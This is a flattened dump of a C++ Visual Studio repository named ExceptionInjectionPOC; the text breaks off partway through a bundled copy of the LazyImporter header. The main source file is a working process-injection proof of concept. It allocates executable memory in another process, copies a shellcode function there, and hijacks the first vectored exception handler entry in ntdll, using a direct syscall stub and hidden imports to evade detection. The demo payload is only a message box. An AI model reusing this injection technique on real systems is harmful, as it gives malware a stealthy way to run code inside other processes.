├── .gitignore ├── ExceptionInjectionPOC.sln └── ExceptionInjectionPOC ├── ExceptionInjectionPOC.cpp ├── ExceptionInjectionPOC.vcxproj ├── ExceptionInjectionPOC.vcxproj.filters ├── ExceptionInjectionPOC.vcxproj.user ├── LazyImporter.h └── memory_manager.hpp /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | -------------------------------------------------------------------------------- /ExceptionInjectionPOC.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33020.496 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ExceptionInjectionPOC", "ExceptionInjectionPOC\ExceptionInjectionPOC.vcxproj", "{DBDDEEB3-2398-4D05-BFFD-8D0C1FD24FE1}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {DBDDEEB3-2398-4D05-BFFD-8D0C1FD24FE1}.Debug|x64.ActiveCfg = Debug|x64 17 | {DBDDEEB3-2398-4D05-BFFD-8D0C1FD24FE1}.Debug|x64.Build.0 = Debug|x64 18 | {DBDDEEB3-2398-4D05-BFFD-8D0C1FD24FE1}.Debug|x86.ActiveCfg = Debug|Win32 19 | {DBDDEEB3-2398-4D05-BFFD-8D0C1FD24FE1}.Debug|x86.Build.0 = Debug|Win32 20 | {DBDDEEB3-2398-4D05-BFFD-8D0C1FD24FE1}.Release|x64.ActiveCfg = Release|x64 21 | {DBDDEEB3-2398-4D05-BFFD-8D0C1FD24FE1}.Release|x64.Build.0 = Release|x64 22 | {DBDDEEB3-2398-4D05-BFFD-8D0C1FD24FE1}.Release|x86.ActiveCfg = Release|Win32 23 | {DBDDEEB3-2398-4D05-BFFD-8D0C1FD24FE1}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {8408BED6-8BB8-491A-9C58-4A2E5052D7BF} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /ExceptionInjectionPOC/ExceptionInjectionPOC.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "memory_manager.hpp" 5 | #include "LazyImporter.h" 6 | 7 | struct _LdrpVectorHandlerEntry 8 | { 9 | _LdrpVectorHandlerEntry* flink; 10 | _LdrpVectorHandlerEntry* blink; 11 | DWORD64 unknown1; 12 | DWORD64 unknown2; 13 | PVECTORED_EXCEPTION_HANDLER exception_handler; 14 | }; 15 | 16 | struct _LdrpVectorHandlerList 17 | { 18 | SRWLOCK srw_lock; 19 | _LdrpVectorHandlerEntry* first; 20 | _LdrpVectorHandlerEntry* last; 21 | }; 22 | 23 | __attribute__((naked)) long __stdcall ZwQueryInformationProcess(HANDLE ProcessHandle, long ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength) { 24 | __asm { 25 | mov r10, rcx 26 | mov eax, 19h 27 | syscall 28 | retn 29 | } 30 | } 31 | 32 | memory_manager mem{}; 33 | 34 | namespace veh { 35 | 36 | auto obfuscate_pointer(const uintptr_t pointer, const bool deobfuscate) -> uintptr_t { 37 | uintptr_t cookie = 0; 38 | if (ZwQueryInformationProcess(mem.target_process, 0x24, &cookie, 4u, nullptr) < 0) { 39 | return 0; 40 | } 41 | 42 | return deobfuscate ? cookie ^ _rotr64(pointer, 0x40 - (cookie & 0x3F)) : _rotr64(pointer ^ cookie, cookie & 0x3F); 43 | } 44 | 45 | auto get_first_handler_list_entry() -> uintptr_t { 46 | const auto ntdll = mem.get_module(L"ntdll.dll"); 47 | 48 | // Signature scan for a place near where the list is used by ntdll 49 | uintptr_t sig_match = mem.signature_scan(ntdll.base_addr, ntdll.size, "\x48\x89\x53\x20\x48\x8D\x3C\xF7", "xxxxxxxx"); 50 | if (!sig_match) { 51 | return 0; 52 | } 53 | 54 | // Offset to instruction using list 55 | sig_match += 0xD; 56 | 57 | // Calculate the absolute address from the relative instruction operand 58 | const auto handler_list = (_LdrpVectorHandlerList*)(sig_match + *reinterpret_cast(sig_match + 0x3) + 7); 59 | if (!handler_list) { 60 | return 0; 61 | } 62 | 63 | // Read first handler entry from list 64 | return mem.read_memory(reinterpret_cast(handler_list->first)); 65 | } 66 | 67 | auto override_first_entry_exception_handler(const uintptr_t address) -> bool { 68 | const auto entry = get_first_handler_list_entry(); 69 | if (!entry) { 70 | return false; 71 | } 72 | 73 | return mem.write_memory(entry + 0x20, address); 74 | } 75 | 76 | auto get_first_entry_exception_handler() -> uintptr_t { 77 | const auto entry = get_first_handler_list_entry(); 78 | if (!entry) { 79 | return false; 80 | } 81 | 82 | return mem.read_memory(entry + 0x20); 83 | } 84 | 85 | } 86 | 87 | auto shell(_EXCEPTION_POINTERS* pEx) -> long { 88 | 89 | char const msgInline[] = { 'H', 'e', 'l', 'l' , 'o', '\0' }; 90 | LI_FN(MessageBoxA)((HWND)0, msgInline, nullptr, 0u); 91 | 92 | return EXCEPTION_CONTINUE_SEARCH; 93 | } 94 | auto shell_end() -> void {} 95 | 96 | int main() { 97 | 98 | const auto proc_hdl = mem.get_process(L"ExceptionInjectionDummy.exe"); 99 | 100 | // Allocate code in target process 101 | auto remote_page = VirtualAllocEx(proc_hdl, nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 102 | WriteProcessMemory(proc_hdl, remote_page, (LPCVOID)shell, (uintptr_t)shell_end - (uintptr_t)shell, nullptr); 103 | 104 | // Override exception handler address 105 | const auto obfuscated_address = veh::obfuscate_pointer(reinterpret_cast(remote_page), false); 106 | veh::override_first_entry_exception_handler(obfuscated_address); 107 | 108 | return 0; 109 | } 110 | -------------------------------------------------------------------------------- /ExceptionInjectionPOC/ExceptionInjectionPOC.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {dbddeeb3-2398-4d05-bffd-8d0c1fd24fe1} 25 | ExceptionInjectionPOC 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | MultiByte 41 | 42 | 43 | Application 44 | true 45 | ClangCL 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | ClangCL 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | false 75 | false 76 | false 77 | 78 | 79 | 80 | Level3 81 | true 82 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 83 | true 84 | stdcpp20 85 | 86 | 87 | Console 88 | true 89 | 90 | 91 | 92 | 93 | Level3 94 | true 95 | true 96 | true 97 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 98 | true 99 | stdcpp20 100 | 101 | 102 | Console 103 | true 104 | true 105 | true 106 | 107 | 108 | 109 | 110 | Level3 111 | true 112 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 113 | true 114 | stdcpp20 115 | 116 | 117 | Console 118 | true 119 | 120 | 121 | 122 | 123 | Level3 124 | true 125 | true 126 | true 127 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 128 | true 129 | stdcpp20 130 | 131 | 132 | Console 133 | true 134 | true 135 | true 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | -------------------------------------------------------------------------------- /ExceptionInjectionPOC/ExceptionInjectionPOC.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | 10 | 11 | Source Files 12 | 13 | 14 | 15 | 16 | Source Files 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /ExceptionInjectionPOC/ExceptionInjectionPOC.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /ExceptionInjectionPOC/LazyImporter.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2018-2022 Justas Masiulis 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | // === FAQ === documentation is available at https://github.com/JustasMasiulis/lazy_importer 18 | // * Code doesn't compile with errors about pointer conversion: 19 | // - Try using `nullptr` instead of `NULL` or call `get()` instead of using the overloaded operator() 20 | // * Lazy importer can't find the function I want: 21 | // - Double check that the module in which it's located in is actually loaded 22 | // - Try #define LAZY_IMPORTER_CASE_INSENSITIVE 23 | // This will start using case insensitive comparison globally 24 | // - Try #define LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS 25 | // This will enable forwarded export resolution globally instead of needing explicit `forwarded()` calls 26 | 27 | #ifndef LAZY_IMPORTER_HPP 28 | #define LAZY_IMPORTER_HPP 29 | 30 | 31 | #define LI_FN(name) ::li::detail::lazy_function() 32 | 33 | #define LI_FN_DEF(name) ::li::detail::lazy_function() 34 | 35 | #define LI_MODULE(name) ::li::detail::lazy_module() 36 | 37 | #ifndef LAZY_IMPORTER_CPP_FORWARD 38 | #ifdef LAZY_IMPORTER_NO_CPP_FORWARD 39 | #define LAZY_IMPORTER_CPP_FORWARD(t, v) v 40 | #else 41 | #include 42 | #define LAZY_IMPORTER_CPP_FORWARD(t, v) std::forward( v ) 43 | #endif 44 | #endif 45 | 46 | #include 47 | 48 | #ifndef LAZY_IMPORTER_NO_FORCEINLINE 49 | #if defined(_MSC_VER) 50 | #define LAZY_IMPORTER_FORCEINLINE __forceinline 51 | #elif defined(__GNUC__) && __GNUC__ > 3 52 | #define LAZY_IMPORTER_FORCEINLINE inline __attribute__((__always_inline__)) 53 | #else 54 | #define LAZY_IMPORTER_FORCEINLINE inline 55 | #endif 56 | #else 57 | #define LAZY_IMPORTER_FORCEINLINE inline 58 | #endif 59 | 60 | 61 | #ifdef LAZY_IMPORTER_CASE_INSENSITIVE 62 | #define LAZY_IMPORTER_CASE_SENSITIVITY false 63 | #else 64 | #define LAZY_IMPORTER_CASE_SENSITIVITY true 65 | #endif 66 | 67 | #define LAZY_IMPORTER_STRINGIZE(x) #x 68 | #define LAZY_IMPORTER_STRINGIZE_EXPAND(x) LAZY_IMPORTER_STRINGIZE(x) 69 | 70 | #define LAZY_IMPORTER_KHASH(str) ::li::detail::khash(str, \ 71 | ::li::detail::khash_impl( __TIME__ __DATE__ LAZY_IMPORTER_STRINGIZE_EXPAND(__LINE__) LAZY_IMPORTER_STRINGIZE_EXPAND(__COUNTER__), 2166136261 )) 72 | 73 | namespace li { 74 | namespace detail { 75 | 76 | namespace win { 77 | 78 | struct LIST_ENTRY_T { 79 | const char* Flink; 80 | const char* Blink; 81 | }; 82 | 83 | struct UNICODE_STRING_T { 84 | unsigned short Length; 85 | unsigned short MaximumLength; 86 | wchar_t* Buffer; 87 | }; 88 | 89 | struct PEB_LDR_DATA_T { 90 | unsigned long Length; 91 | unsigned long Initialized; 92 | const char* SsHandle; 93 | LIST_ENTRY_T InLoadOrderModuleList; 94 | }; 95 | 96 | struct PEB_T { 97 | unsigned char Reserved1[2]; 98 | unsigned char BeingDebugged; 99 | unsigned char Reserved2[1]; 100 | const char* Reserved3[2]; 101 | PEB_LDR_DATA_T* Ldr; 102 | }; 103 | 104 | struct LDR_DATA_TABLE_ENTRY_T { 105 | LIST_ENTRY_T InLoadOrderLinks; 106 | LIST_ENTRY_T InMemoryOrderLinks; 107 | LIST_ENTRY_T InInitializationOrderLinks; 108 | const char* DllBase; 109 | const char* EntryPoint; 110 | union { 111 | unsigned long SizeOfImage; 112 | const char* _dummy; 113 | }; 114 | UNICODE_STRING_T FullDllName; 115 | UNICODE_STRING_T BaseDllName; 116 | 117 | LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T* 118 | load_order_next() const noexcept 119 | { 120 | return reinterpret_cast( 121 | InLoadOrderLinks.Flink); 122 | } 123 | }; 124 | 125 | struct IMAGE_DOS_HEADER { // DOS .EXE header 126 | unsigned short e_magic; // Magic number 127 | unsigned short e_cblp; // Bytes on last page of file 128 | unsigned short e_cp; // Pages in file 129 | unsigned short e_crlc; // Relocations 130 | unsigned short e_cparhdr; // Size of header in paragraphs 131 | unsigned short e_minalloc; // Minimum extra paragraphs needed 132 | unsigned short e_maxalloc; // Maximum extra paragraphs needed 133 | unsigned short e_ss; // Initial (relative) SS value 134 | unsigned short e_sp; // Initial SP value 135 | unsigned short e_csum; // Checksum 136 | unsigned short e_ip; // Initial IP value 137 | unsigned short e_cs; // Initial (relative) CS value 138 | unsigned short e_lfarlc; // File address of relocation table 139 | unsigned short e_ovno; // Overlay number 140 | unsigned short e_res[4]; // Reserved words 141 | unsigned short e_oemid; // OEM identifier (for e_oeminfo) 142 | unsigned short e_oeminfo; // OEM information; e_oemid specific 143 | unsigned short e_res2[10]; // Reserved words 144 | long e_lfanew; // File address of new exe header 145 | }; 146 | 147 | struct IMAGE_FILE_HEADER { 148 | unsigned short Machine; 149 | unsigned short NumberOfSections; 150 | unsigned long TimeDateStamp; 151 | unsigned long PointerToSymbolTable; 152 | unsigned long NumberOfSymbols; 153 | unsigned short SizeOfOptionalHeader; 154 | unsigned short Characteristics; 155 | }; 156 | 157 | struct IMAGE_EXPORT_DIRECTORY { 158 | unsigned long Characteristics; 159 | unsigned long TimeDateStamp; 160 | unsigned short MajorVersion; 161 | unsigned short MinorVersion; 162 | unsigned long Name; 163 | unsigned long Base; 164 | unsigned long NumberOfFunctions; 165 | unsigned long NumberOfNames; 166 | unsigned long AddressOfFunctions; // RVA from base of image 167 | unsigned long AddressOfNames; // RVA from base of image 168 | unsigned long AddressOfNameOrdinals; // RVA from base of image 169 | }; 170 | 171 | struct IMAGE_DATA_DIRECTORY { 172 | unsigned long VirtualAddress; 173 | unsigned long Size; 174 | }; 175 | 176 | struct IMAGE_OPTIONAL_HEADER64 { 177 | unsigned short Magic; 178 | unsigned char MajorLinkerVersion; 179 | unsigned char MinorLinkerVersion; 180 | unsigned long SizeOfCode; 181 | unsigned long SizeOfInitializedData; 182 | unsigned long SizeOfUninitializedData; 183 | unsigned long AddressOfEntryPoint; 184 | unsigned long BaseOfCode; 185 | unsigned long long ImageBase; 186 | unsigned long SectionAlignment; 187 | unsigned long FileAlignment; 188 | unsigned short MajorOperatingSystemVersion; 189 | unsigned short MinorOperatingSystemVersion; 190 | unsigned short MajorImageVersion; 191 | unsigned short MinorImageVersion; 192 | unsigned short MajorSubsystemVersion; 193 | unsigned short MinorSubsystemVersion; 194 | unsigned long Win32VersionValue; 195 | unsigned long SizeOfImage; 196 | unsigned long SizeOfHeaders; 197 | unsigned long CheckSum; 198 | unsigned short Subsystem; 199 | unsigned short DllCharacteristics; 200 | unsigned long long SizeOfStackReserve; 201 | unsigned long long SizeOfStackCommit; 202 | unsigned long long SizeOfHeapReserve; 203 | unsigned long long SizeOfHeapCommit; 204 | unsigned long LoaderFlags; 205 | unsigned long NumberOfRvaAndSizes; 206 | IMAGE_DATA_DIRECTORY DataDirectory[16]; 207 | }; 208 | 209 | struct IMAGE_OPTIONAL_HEADER32 { 210 | unsigned short Magic; 211 | unsigned char MajorLinkerVersion; 212 | unsigned char MinorLinkerVersion; 213 | unsigned long SizeOfCode; 214 | unsigned long SizeOfInitializedData; 215 | unsigned long SizeOfUninitializedData; 216 | unsigned long AddressOfEntryPoint; 217 | unsigned long BaseOfCode; 218 | unsigned long BaseOfData; 219 | unsigned long ImageBase; 220 | unsigned long SectionAlignment; 221 | unsigned long FileAlignment; 222 | unsigned short MajorOperatingSystemVersion; 223 | unsigned short MinorOperatingSystemVersion; 224 | unsigned short MajorImageVersion; 225 | unsigned short MinorImageVersion; 226 | unsigned short MajorSubsystemVersion; 227 | unsigned short MinorSubsystemVersion; 228 | unsigned long Win32VersionValue; 229 | unsigned long SizeOfImage; 230 | unsigned long SizeOfHeaders; 231 | unsigned long CheckSum; 232 | unsigned short Subsystem; 233 | unsigned short DllCharacteristics; 234 | unsigned long SizeOfStackReserve; 235 | unsigned long SizeOfStackCommit; 236 | unsigned long SizeOfHeapReserve; 237 | unsigned long SizeOfHeapCommit; 238 | unsigned long LoaderFlags; 239 | unsigned long NumberOfRvaAndSizes; 240 | IMAGE_DATA_DIRECTORY DataDirectory[16]; 241 | }; 242 | 243 | struct IMAGE_NT_HEADERS { 244 | unsigned long Signature; 245 | IMAGE_FILE_HEADER FileHeader; 246 | #ifdef _WIN64 247 | IMAGE_OPTIONAL_HEADER64 OptionalHeader; 248 | #else 249 | IMAGE_OPTIONAL_HEADER32 OptionalHeader; 250 | #endif 251 | }; 252 | 253 | } // namespace win 254 | 255 | struct forwarded_hashes { 256 | unsigned module_hash; 257 | unsigned function_hash; 258 | }; 259 | 260 | // 64 bit integer where 32 bits are used for the hash offset 261 | // and remaining 32 bits are used for the hash computed using it 262 | using offset_hash_pair = unsigned long long; 263 | 264 | LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_hash(offset_hash_pair pair) noexcept { return (pair & 0xFFFFFFFF); } 265 | 266 | LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_offset(offset_hash_pair pair) noexcept { return (pair >> 32); } 267 | 268 | template 269 | LAZY_IMPORTER_FORCEINLINE constexpr unsigned hash_single(unsigned value, char c) noexcept 270 | { 271 | return static_cast( 272 | (value ^ ((!CaseSensitive && c >= 'A' && c <= 'Z') ? (c | (1 << 5)) : c)) * 273 | static_cast(16777619)); 274 | } 275 | 276 | LAZY_IMPORTER_FORCEINLINE constexpr unsigned 277 | khash_impl(const char* str, unsigned value) noexcept 278 | { 279 | return (*str ? khash_impl(str + 1, hash_single(value, *str)) : value); 280 | } 281 | 282 | LAZY_IMPORTER_FORCEINLINE constexpr offset_hash_pair khash( 283 | const char* str, unsigned offset) noexcept 284 | { 285 | return ((offset_hash_pair{ offset } << 32) | khash_impl(str, offset)); 286 | } 287 | 288 | template 289 | LAZY_IMPORTER_FORCEINLINE unsigned hash(const CharT* str, unsigned offset) noexcept 290 | { 291 | unsigned value = offset; 292 | 293 | for (;;) { 294 | char c = *str++; 295 | if (!c) 296 | return value; 297 | value = hash_single(value, c); 298 | } 299 | } 300 | 301 | LAZY_IMPORTER_FORCEINLINE unsigned hash( 302 | const win::UNICODE_STRING_T& str, unsigned offset) noexcept 303 | { 304 | auto first = str.Buffer; 305 | const auto last = first + (str.Length / sizeof(wchar_t)); 306 | auto value = offset; 307 | for (; first != last; ++first) 308 | value = hash_single(value, static_cast(*first)); 309 | 310 | return value; 311 | } 312 | 313 | LAZY_IMPORTER_FORCEINLINE forwarded_hashes hash_forwarded( 314 | const char* str, unsigned offset) noexcept 315 | { 316 | forwarded_hashes res{ offset, offset }; 317 | 318 | for (; *str != '.'; ++str) 319 | res.module_hash = hash_single(res.module_hash, *str); 320 | 321 | ++str; 322 | 323 | for (; *str; ++str) 324 | res.function_hash = hash_single(res.function_hash, *str); 325 | 326 | return res; 327 | } 328 | 329 | // some helper functions 330 | LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept 331 | { 332 | #if defined(_M_X64) || defined(__amd64__) 333 | return reinterpret_cast(__readgsqword(0x60)); 334 | #elif defined(_M_IX86) || defined(__i386__) 335 | return reinterpret_cast(__readfsdword(0x30)); 336 | #elif defined(_M_ARM) || defined(__arm__) 337 | return *reinterpret_cast(_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); 338 | #elif defined(_M_ARM64) || defined(__aarch64__) 339 | return *reinterpret_cast(__getReg(18) + 0x60); 340 | #elif defined(_M_IA64) || defined(__ia64__) 341 | return *reinterpret_cast(static_cast(_rdteb()) + 0x60); 342 | #else 343 | #error Unsupported platform. Open an issue and I'll probably add support. 344 | #endif 345 | } 346 | 347 | LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr() 348 | { 349 | return reinterpret_cast(peb()->Ldr); 350 | } 351 | 352 | LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers( 353 | const char* base) noexcept 354 | { 355 | return reinterpret_cast( 356 | base + reinterpret_cast(base)->e_lfanew); 357 | } 358 | 359 | LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* image_export_dir( 360 | const char* base) noexcept 361 | { 362 | return reinterpret_cast( 363 | base + nt_headers(base)->OptionalHeader.DataDirectory->VirtualAddress); 364 | } 365 | 366 | LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_data_entry() noexcept 367 | { 368 | return reinterpret_cast( 369 | ldr()->InLoadOrderModuleList.Flink); 370 | } 371 | 372 | struct exports_directory { 373 | const char* _base; 374 | const win::IMAGE_EXPORT_DIRECTORY* _ied; 375 | unsigned long _ied_size; 376 | 377 | public: 378 | using size_type = unsigned long; 379 | 380 | LAZY_IMPORTER_FORCEINLINE 381 | exports_directory(const char* base) noexcept : _base(base) 382 | { 383 | const auto ied_data_dir = nt_headers(base)->OptionalHeader.DataDirectory[0]; 384 | _ied = reinterpret_cast( 385 | base + ied_data_dir.VirtualAddress); 386 | _ied_size = ied_data_dir.Size; 387 | } 388 | 389 | LAZY_IMPORTER_FORCEINLINE explicit operator bool() const noexcept 390 | { 391 | return reinterpret_cast(_ied) != _base; 392 | } 393 | 394 | LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept 395 | { 396 | return _ied->NumberOfNames; 397 | } 398 | 399 | LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { return _base; } 400 | LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* ied() const noexcept 401 | { 402 | return _ied; 403 | } 404 | 405 | LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const noexcept 406 | { 407 | return reinterpret_cast( 408 | _base + reinterpret_cast( 409 | _base + _ied->AddressOfNames)[index]); 410 | } 411 | 412 | LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) const noexcept 413 | { 414 | const auto* const rva_table = 415 | reinterpret_cast(_base + _ied->AddressOfFunctions); 416 | 417 | const auto* const ord_table = reinterpret_cast( 418 | _base + _ied->AddressOfNameOrdinals); 419 | 420 | return _base + rva_table[ord_table[index]]; 421 | } 422 | 423 | LAZY_IMPORTER_FORCEINLINE bool is_forwarded( 424 | const char* export_address) const noexcept 425 | { 426 | const auto ui_ied = reinterpret_cast(_ied); 427 | return (export_address > ui_ied && export_address < ui_ied + _ied_size); 428 | } 429 | }; 430 | 431 | struct safe_module_enumerator { 432 | using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T; 433 | value_type* value; 434 | value_type* head; 435 | 436 | LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept 437 | : safe_module_enumerator(ldr_data_entry()) 438 | {} 439 | 440 | LAZY_IMPORTER_FORCEINLINE 441 | safe_module_enumerator(const detail::win::LDR_DATA_TABLE_ENTRY_T* ldr) noexcept 442 | : value(ldr->load_order_next()), head(value) 443 | {} 444 | 445 | LAZY_IMPORTER_FORCEINLINE void reset() noexcept 446 | { 447 | value = head->load_order_next(); 448 | } 449 | 450 | LAZY_IMPORTER_FORCEINLINE bool next() noexcept 451 | { 452 | value = value->load_order_next(); 453 | 454 | return value != head && value->DllBase; 455 | } 456 | }; 457 | 458 | struct unsafe_module_enumerator { 459 | using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T*; 460 | value_type value; 461 | 462 | LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept 463 | : value(ldr_data_entry()) 464 | {} 465 | 466 | LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data_entry(); } 467 | 468 | LAZY_IMPORTER_FORCEINLINE bool next() noexcept 469 | { 470 | value = value->load_order_next(); 471 | return true; 472 | } 473 | }; 474 | 475 | // provides the cached functions which use Derive classes methods 476 | template 477 | class lazy_base { 478 | protected: 479 | // This function is needed because every templated function 480 | // with different args has its own static buffer 481 | LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept 482 | { 483 | static void* value = nullptr; 484 | return value; 485 | } 486 | 487 | public: 488 | template 489 | LAZY_IMPORTER_FORCEINLINE static T safe() noexcept 490 | { 491 | return Derived::template get(); 492 | } 493 | 494 | template 495 | LAZY_IMPORTER_FORCEINLINE static T cached() noexcept 496 | { 497 | auto& cached = _cache(); 498 | if (!cached) 499 | cached = Derived::template get(); 500 | 501 | return (T)(cached); 502 | } 503 | 504 | template 505 | LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept 506 | { 507 | return cached(); 508 | } 509 | }; 510 | 511 | template 512 | struct lazy_module : lazy_base> { 513 | template 514 | LAZY_IMPORTER_FORCEINLINE static T get() noexcept 515 | { 516 | Enum e; 517 | do { 518 | if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP)) 519 | return (T)(e.value->DllBase); 520 | } while (e.next()); 521 | return {}; 522 | } 523 | 524 | template 525 | LAZY_IMPORTER_FORCEINLINE static T in(Ldr ldr) noexcept 526 | { 527 | safe_module_enumerator e((const detail::win::LDR_DATA_TABLE_ENTRY_T*)(ldr)); 528 | do { 529 | if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP)) 530 | return (T)(e.value->DllBase); 531 | } while (e.next()); 532 | return {}; 533 | } 534 | 535 | template 536 | LAZY_IMPORTER_FORCEINLINE static T in_cached(Ldr ldr) noexcept 537 | { 538 | auto& cached = lazy_base>::_cache(); 539 | if (!cached) 540 | cached = in(ldr); 541 | 542 | return (T)(cached); 543 | } 544 | }; 545 | 546 | template 547 | struct lazy_function : lazy_base, T> { 548 | using base_type = lazy_base, T>; 549 | 550 | template 551 | LAZY_IMPORTER_FORCEINLINE decltype(auto) operator()(Args&&... args) const 552 | { 553 | #ifndef LAZY_IMPORTER_CACHE_OPERATOR_PARENS 554 | return get()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...); 555 | #else 556 | return this->cached()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...); 557 | #endif 558 | } 559 | 560 | template 561 | LAZY_IMPORTER_FORCEINLINE static F get() noexcept 562 | { 563 | // for backwards compatability. 564 | // Before 2.0 it was only possible to resolve forwarded exports when 565 | // this macro was enabled 566 | #ifdef LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS 567 | return forwarded(); 568 | #else 569 | 570 | Enum e; 571 | 572 | do { 573 | #ifdef LAZY_IMPORTER_HARDENED_MODULE_CHECKS 574 | if (!e.value->DllBase || !e.value->FullDllName.Length) 575 | continue; 576 | #endif 577 | 578 | const exports_directory exports(e.value->DllBase); 579 | 580 | if (exports) { 581 | auto export_index = exports.size(); 582 | while (export_index--) 583 | if (hash(exports.name(export_index), get_offset(OHP)) == get_hash(OHP)) 584 | return (F)(exports.address(export_index)); 585 | } 586 | } while (e.next()); 587 | return {}; 588 | #endif 589 | } 590 | 591 | template 592 | LAZY_IMPORTER_FORCEINLINE static F forwarded() noexcept 593 | { 594 | detail::win::UNICODE_STRING_T name; 595 | forwarded_hashes hashes{ 0, get_hash(OHP) }; 596 | 597 | Enum e; 598 | do { 599 | name = e.value->BaseDllName; 600 | name.Length -= 8; // get rid of .dll extension 601 | 602 | if (!hashes.module_hash || hash(name, get_offset(OHP)) == hashes.module_hash) { 603 | const exports_directory exports(e.value->DllBase); 604 | 605 | if (exports) { 606 | auto export_index = exports.size(); 607 | while (export_index--) 608 | if (hash(exports.name(export_index), get_offset(OHP)) == hashes.function_hash) { 609 | const auto addr = exports.address(export_index); 610 | 611 | if (exports.is_forwarded(addr)) { 612 | hashes = hash_forwarded( 613 | reinterpret_cast(addr), 614 | get_offset(OHP)); 615 | 616 | e.reset(); 617 | break; 618 | } 619 | return (F)(addr); 620 | } 621 | } 622 | } 623 | } while (e.next()); 624 | return {}; 625 | } 626 | 627 | template 628 | LAZY_IMPORTER_FORCEINLINE static F forwarded_safe() noexcept 629 | { 630 | return forwarded(); 631 | } 632 | 633 | template 634 | LAZY_IMPORTER_FORCEINLINE static F forwarded_cached() noexcept 635 | { 636 | auto& value = base_type::_cache(); 637 | if 